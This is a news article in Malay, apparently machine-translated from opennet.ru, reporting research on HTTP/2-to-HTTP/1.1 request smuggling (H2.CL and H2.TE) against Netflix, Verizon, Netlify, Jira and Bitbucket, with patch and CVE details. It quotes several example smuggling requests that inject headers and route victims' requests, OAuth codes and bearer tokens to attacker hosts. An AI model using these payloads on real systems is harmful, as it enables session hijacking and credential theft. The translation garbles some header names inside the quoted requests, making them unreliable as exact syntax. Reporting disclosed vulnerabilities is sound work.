Serangan baharu ke atas sistem hujung depan-belakang yang membolehkan anda mengikut permintaan

Sistem web di mana bahagian hadapan menerima sambungan melalui HTTP/2 dan menghantarnya ke bahagian belakang melalui HTTP/1.1 telah terdedah kepada varian baharu serangan β€œPenyeludupan Permintaan HTTP”, yang membolehkan, dengan menghantar permintaan pelanggan yang direka khas, kepada baji ke dalam kandungan permintaan daripada pengguna lain yang diproses dalam aliran yang sama antara bahagian hadapan dan bahagian belakang. Serangan itu boleh digunakan untuk memasukkan kod JavaScript berniat jahat ke dalam sesi dengan tapak web yang sah, memintas sistem sekatan akses dan memintas parameter pengesahan.

Masalah ini memberi kesan kepada proksi web, pengimbang beban, pemecut web, sistem penghantaran kandungan dan konfigurasi lain di mana permintaan diubah hala secara front-end-to-backend. Pengarang kajian itu menunjukkan kemungkinan menyerang sistem Netflix, Verizon, Bitbucket, Netlify CDN dan Atlassian, dan menerima 56 ribu dolar dalam program ganjaran untuk mengenal pasti kelemahan. Masalahnya juga telah disahkan dalam produk F5 Networks. Masalah sebahagiannya mempengaruhi mod_proxy dalam pelayan http Apache (CVE-2021-33193), pembetulan dijangka dalam versi 2.4.49 (pembangun telah diberitahu tentang masalah itu pada awal Mei dan diberi masa 3 bulan untuk memperbaikinya). Dalam nginx, keupayaan untuk menentukan secara serentak pengepala "Panjang Kandungan" dan "Pengekodan Pemindahan" telah disekat dalam keluaran terakhir (1.21.1). Alat serangan sudah disertakan dalam kit alat Burp dan tersedia dalam bentuk sambungan Turbo Intruder.

Prinsip pengendalian kaedah baharu untuk menyatukan permintaan ke dalam trafik adalah serupa dengan kerentanan yang dikenal pasti oleh penyelidik yang sama dua tahun lalu, tetapi terhad kepada bahagian hadapan yang menerima permintaan melalui HTTP/1.1. Mari kita ingat bahawa dalam skema frontend-backend, permintaan pelanggan diterima oleh nod tambahan - frontend, yang mewujudkan sambungan TCP jangka panjang dengan backend, yang secara langsung memproses permintaan. Melalui sambungan biasa ini, permintaan daripada pengguna yang berbeza biasanya dihantar, yang mengikut rantaian satu demi satu, dipisahkan melalui protokol HTTP.

Serangan klasik "Penyeludupan Permintaan HTTP" adalah berdasarkan fakta bahawa bahagian hadapan dan hujung belakang mentafsir penggunaan pengepala HTTP "Panjang Kandungan" (menentukan jumlah saiz data dalam permintaan) dan "Pengekodan Pemindahan: chunked" (membolehkan data yang akan dipindahkan dalam bahagian) secara berbeza. . Sebagai contoh, jika bahagian hadapan hanya menyokong "Panjang Kandungan" tetapi mengabaikan "Pengekodan Pemindahan: digunting", maka penyerang boleh menghantar permintaan yang mengandungi pengepala "Panjang Kandungan" dan "Pengekodan Pemindahan:", tetapi saiznya adalah "Panjang Kandungan" tidak sepadan dengan saiz rantai ketul. Dalam kes ini, bahagian hadapan akan memproses dan mengubah hala permintaan mengikut "Panjang Kandungan", dan bahagian belakang akan menunggu penyiapan blok berdasarkan "Pengekodan Pemindahan: chunked" dan baki ekor permintaan penyerang akan berada pada permulaan permintaan orang lain yang dihantar seterusnya.

Tidak seperti protokol teks HTTP/1.1, yang dihuraikan pada peringkat baris, HTTP/2 ialah protokol binari dan memanipulasi blok data saiz yang telah ditetapkan. Walau bagaimanapun, HTTP/2 menggunakan pengepala pseudo yang sepadan dengan pengepala HTTP biasa. Dalam kes interaksi dengan bahagian belakang melalui protokol HTTP/1.1, bahagian hadapan menterjemahkan pengepala pseudo ini kepada pengepala HTTP yang serupa HTTP/1.1. Masalahnya ialah bahagian belakang membuat keputusan tentang menghuraikan strim berdasarkan pengepala HTTP yang ditetapkan oleh bahagian hadapan, tanpa mempunyai maklumat tentang parameter permintaan asal.

Khususnya, nilai "panjang kandungan" dan "pengekodan pemindahan" boleh dihantar dalam bentuk pengepala pseudo, walaupun pada hakikatnya ia tidak digunakan dalam HTTP/2, kerana saiz semua data ditentukan dalam bidang yang berasingan. Walau bagaimanapun, semasa proses menukar permintaan HTTP/2 kepada HTTP/1.1, pengepala ini dibawa dan boleh mengelirukan bahagian belakang. Terdapat dua varian serangan utama: H2.TE dan H2.CL, di mana bahagian belakang disesatkan oleh pengekodan pemindahan yang salah atau nilai panjang kandungan yang tidak sepadan dengan saiz sebenar badan permintaan yang diterima oleh bahagian hadapan melalui Protokol HTTP/2.

Serangan baharu ke atas sistem hujung depan-belakang yang membolehkan anda mengikut permintaan

Contoh serangan H2.CL adalah untuk menentukan saiz yang salah dalam pengepala pseudo panjang kandungan apabila menghantar permintaan HTTP/2 ke Netflix. Permintaan ini membawa kepada penambahan pengepala HTTP yang serupa Panjang Kandungan apabila mengakses bahagian belakang melalui HTTP/1.1, tetapi memandangkan saiz dalam Panjang Kandungan ditentukan kurang daripada yang sebenar, sebahagian daripada data dalam ekor diproses sebagai permulaan permintaan seterusnya.

Contohnya, minta HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Hos: 02.rs?x.netflix.com Foo: bar

Akan menyebabkan permintaan dihantar ke bahagian belakang: POST /n HTTP/1.1 Hos: www.netflix.com Panjang Kandungan: 4 abcdGET /n HTTP/1.1 Hos: 02.rs?x.netflix.com Foo: bar

Memandangkan Panjang Kandungan mempunyai nilai 4, bahagian belakang hanya akan menerima "abcd" sebagai kandungan permintaan dan selebihnya "GET /n HTTP/1.1..." akan diproses sebagai permulaan permintaan berikutnya dikaitkan dengan pengguna lain. Sehubungan itu, strim akan menjadi tidak segerak dan sebagai tindak balas kepada permintaan seterusnya, hasil pemprosesan permintaan dummy akan dikeluarkan. Dalam kes Netflix, menyatakan hos pihak ketiga dalam pengepala "Hos:" dalam permintaan tiruan menyebabkan pelanggan mengembalikan respons "Lokasi: https://02.rs?x.netflix.com/n" dan membenarkan kandungan sewenang-wenangnya dihantar kepada pelanggan, termasuk Jalankan kod JavaScript anda dalam konteks tapak Netflix.

Pilihan serangan kedua (H2.TE) melibatkan menggantikan pengepala "Pengekodan Pemindahan: chunked". Penggunaan pengepala pseudo pengekodan pemindahan dalam HTTP/2 adalah dilarang oleh spesifikasi dan permintaan dengannya ditetapkan untuk dianggap sebagai tidak betul. Walaupun begitu, sesetengah pelaksanaan bahagian hadapan tidak mengambil kira keperluan ini dan membenarkan penggunaan pengepala pseudo pengekodan pemindahan dalam HTTP/2, yang ditukar kepada pengepala HTTP yang serupa. Jika terdapat pengepala "Pengekodan Pemindahan", bahagian belakang boleh mengambilnya sebagai keutamaan yang lebih tinggi dan menghuraikan sekeping data demi sekeping dalam mod "dipotong" menggunakan blok dengan saiz yang berbeza dalam format "{size}\r\n{block }\r\n{saiz} \r\n{blok}\r\n0", walaupun pembahagian awal mengikut saiz keseluruhan.

Kehadiran jurang sedemikian ditunjukkan oleh contoh Verizon. Masalahnya ialah portal pengesahan dan sistem pengurusan kandungan, yang juga digunakan pada tapak seperti Huffington Post dan Engadget. Contohnya, permintaan pelanggan melalui HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Hos: psres.net Content-Length: 10 x=

Menghasilkan penghantaran permintaan HTTP/1.1 ke bahagian belakang: POST /identity/XUI HTTP/1.1 Hos: id.b2b.oath.com Panjang Kandungan: 66 Pemindahan-Pengekodan: terpotong 0 GET /oops HTTP/1.1 Hos: psres. net Kandungan- Panjang: 10x=

Bahagian belakang pula mengabaikan pengepala "Panjang Kandungan" dan melakukan pemisahan dalam strim berdasarkan "Pengekodan Pemindahan: terpotong". Dalam amalan, serangan itu memungkinkan untuk mengubah hala permintaan pengguna ke tapak web mereka, termasuk memintas permintaan yang berkaitan dengan pengesahan OAuth, yang parameternya dipaparkan dalam pengepala Perujuk, serta mensimulasikan sesi pengesahan dan mencetuskan sistem pengguna untuk menghantar bukti kelayakan. kepada hos penyerang. GET /b2blanding/show/oops HTTP/1.1 Hos: psres.net Perujuk: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Hos: psres.net Keizinan: Pembawa eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Untuk menyerang pelaksanaan HTTP/2 yang tidak membenarkan pengepala pseudo pengekodan pemindahan ditentukan, kaedah lain telah dicadangkan yang melibatkan penggantian pengepala "Pengekodan Pemindahan" dengan melampirkannya pada pengepala pseudo lain yang dipisahkan oleh aksara baris baharu ( apabila ditukar kepada HTTP/1.1 dalam kes ini mencipta dua pengepala HTTP berasingan).

Sebagai contoh, Atlassian Jira dan Netlify CDN (digunakan untuk menyediakan halaman permulaan Mozilla dalam Firefox) telah terjejas oleh masalah ini. Khususnya, permintaan HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Kandungan-Panjang: 5\r\n \r\nx=

mengakibatkan permintaan HTTP/1.1 POST / HTTP/1.1 dihantar ke backend\r\n Hos: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Hos: evil-netlify-domain\r\n Kandungan-Panjang: 5\r\n \r \nx=

Pilihan lain untuk menggantikan pengepala "Pengekodan Pemindahan" adalah dengan melampirkannya pada nama pengepala pseudo lain atau pada baris dengan kaedah permintaan. Sebagai contoh, apabila mengakses Atlassian Jira, nama pseudo-header "foo: bar\r\ntransfer-encoding" dengan nilai "chunked" menyebabkan pengepala HTTP "foo: bar" dan "transfer-encoding: chunked" ditambahkan , dan menyatakan nilai pseudo-header ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" telah diterjemahkan kepada "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Penyelidik yang mengenal pasti masalah itu juga mencadangkan teknik terowong permintaan untuk menyerang bahagian hadapan, di mana setiap alamat IP mewujudkan sambungan berasingan ke bahagian belakang dan trafik daripada pengguna yang berbeza tidak bercampur. Teknik yang dicadangkan tidak membenarkan campur tangan dengan permintaan daripada pengguna lain, tetapi memungkinkan untuk meracuni cache kongsi yang menjejaskan pemprosesan permintaan lain, dan membenarkan penggantian pengepala HTTP dalaman yang digunakan untuk memindahkan maklumat perkhidmatan dari bahagian hadapan ke bahagian belakang ( contohnya, apabila mengesahkan pada bahagian hadapan dalam Pengepala sedemikian boleh menghantar maklumat tentang pengguna semasa ke bahagian belakang). Sebagai contoh menggunakan kaedah dalam amalan, menggunakan keracunan cache, adalah mungkin untuk mendapatkan kawalan ke atas halaman dalam perkhidmatan Bitbucket.

Sumber: opennet.ru

Tambah komen